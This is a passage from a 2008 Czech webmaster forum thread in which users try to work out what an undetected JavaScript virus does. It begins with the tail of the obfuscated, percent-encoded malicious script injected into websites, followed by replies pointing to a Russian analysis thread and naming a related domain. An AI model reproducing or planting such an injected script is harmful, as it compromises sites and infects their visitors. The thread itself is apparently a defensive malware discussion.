2560%251f%255c%2561%2532%2512%252c%252a%2500%253d%2539%256e%2568%253d%2536%250c%252f%2529%251e%2574%2505%256c%2527%2548%2577%2572%2550%2548%256b%253d%252a%2536%253c%2529%257f%2507%2534%252a%2514%2558%2539%252c%253e%2536%255c%252f%2531%2535%2532%2572%2518%253c%253b%2526%2511%2525%252f%252e%251f%2504%2573%2565%251a%2539%252b%2528%2576%253d%252a%2534%2533%2500%2503%2530%2502%2523%2523%2539%257e%257c%251f%2539%257b%2523%2536%251c%2529%2536%253b%2538%2524%2538%2569%253e%256f%256d%2572%2523%250d%2530%2511%2532%252c%251f%251e%255c%254e%252d%2558%256d%2571%2561%2532%2534%2533%2528%250c%2527%251a%2553%2570%2508%2534%2539%2508%2541%2535%253c%2534%2564%2523%253f%2574%2526%2505%2536%252a%2505%2576%2538%2538%251b%2525%250e%2519%2510%2532%255a%2528%2527%2508%250d%2549%2577%2530%2522%2531%252b%2521%251d%2571%2541%252e%2530%253f%2531%2573%256b%256d%254e%2566%2565%257c%257c%2569%2579%253a%2534%2519%2552%255f%256c%2553%2565%2547%257f%252a%2529%254f%2538%2535%252e%2564%254c%2521%2576%2574%251a%253d%2539%253b%2501%2535%2537%2539%253f%2542%2570%2538%257f%2572%2534%2536%2531%2520%254b%253a%2503%2507%250e%2536%2570%2571%2509%2500%2530%2509%2532%2535%256f%2548%256d%2578%2549%257b%2576%2537%2571%2559%2564%2536%2534%2558%2574%2502%2530%250f%256c%257f%252b%251e%2550%2579%254a%2528%2507%2534%2568%2510%2574%255f%2562%2576%2578%2519%255b%2557%2566%2573%2509%2569%257d%2530%253e%2521%253d%253d%2513%2504%253f%2564%252d%2546%2527%2558%253b%2546%2578%2532%253d%2536%2570%253c%256f%2578%2560%255a%2564%255e%2540%2560%2526%2532%2539%2517%257e%2504%252b%2537%252e%2521%253f%250e%2522%2502%2513%2527%251e%2503%256d%2575%257c%2568%2543%2571%2568%2575%2561%2548%256a%250f%250b%250f%252e%256a%252c%2539%2531%253e%2543%255c%256b%250f%250b%256b%253c%2544%2505%2513%250d%253d%257f%2518%2537%254e%2515%257d%2527%2575%2501%2561%2576%2535%2572%2504%2510%2505%2559%2533%2532%2535%252c%2573%255b%2540%2520%2557%254c%251f%254b%2575%253a%252b%2527%252a%251f%2503%257e%257a%2548%27%29%3B'));</script>

21. 3. 2008 14:23:43

0 0

Líbí se: zatím nikdo

Nelíbí se: zatím nikdo

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53753

Petr Bartoš

21. 3. 2008 14:41:59

miniJOHN: díky

Retal: díky za změnu odkazu v úvodním příspěvku na neklikatelný

paklos: to bude určitě on, viz tohle ruske forum, kde techniku viru a postizene servery rozebiraji jeste detailneji (prispevek od RUNaum)

http://translate.google.com/translate?hl=en&sl=ru&u=http://www.cracklab.ru/f/index.php%3Faction%3Dvthread%26forum%3D6%26topic%3D11393&sa=X&oi=translate&resnum=8&ct=result&prev=/search%3Fq%3D2traff.cn%26num%3D20%26hl%3Den%26safe%3Doff%26client%3Dfirefox-a%26rls%3Dorg.mozilla:cs:official%26hs%3DtvJ%26sa%3DG

21. 3. 2008 14:41:59